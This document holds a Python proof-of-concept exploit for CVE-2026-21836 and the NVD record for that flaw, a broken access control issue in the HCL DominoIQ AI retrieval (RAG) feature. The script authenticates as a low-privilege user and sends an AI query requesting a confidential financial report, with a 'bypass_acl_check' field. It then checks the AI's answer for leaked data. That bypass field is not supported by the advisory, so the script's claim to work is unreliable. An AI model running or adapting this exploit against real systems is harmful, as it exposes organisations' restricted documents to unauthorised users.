CVE-2026-21836

import requests # Target URL (Example) TARGET_URL = "https://target-dominoiq.example.com/api/rag/query" # Attacker credentials (Low privilege) AUTH_CREDS = { "username": "low_priv_user", "password": "password123" } def exploit_cve_2026_21836(): session = requests.Session() # Step 1: Authenticate print("[+] Authenticating...") login_resp = session.post("https://target-dominoiq.example.com/api/login", json=AUTH_CREDS) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Send AI Query designed to retrieve sensitive documents # The attacker asks for data that should be restricted payload = { "query": "Summarize the contents of the confidential financial report for Q1", "context": "bypass_acl_check" } print("[+] Sending malicious AI query...") response = session.post(TARGET_URL, json=payload) if response.status_code == 200: data = response.json() # Check if sensitive data is leaked in the AI response answer = data.get('answer', '') if 'confidential' in answer.lower() or 'financial' in answer.lower(): print(f"[!] Potential data leakage detected:") print(answer) else: print("[+] Query processed, check manually for sensitive data.") else: print("[-] Query failed") if __name__ == "__main__": exploit_cve_2026_21836()

{"cve": {"id": "CVE-2026-21836", "sourceIdentifier": "[email protected]", "published": "2026-05-20T14:16:36.373", "lastModified": "2026-05-20T14:23:44.700", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HCL DominoIQ RAG feature is affected by a Broken Access Control vulnerability.  Under certain circumstances, document level access restrictions will be ignored when determining what data to return from an AI query.  This could enable an authenticated attacker to view sensitive data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130932", "source": "[email protected]"}]}}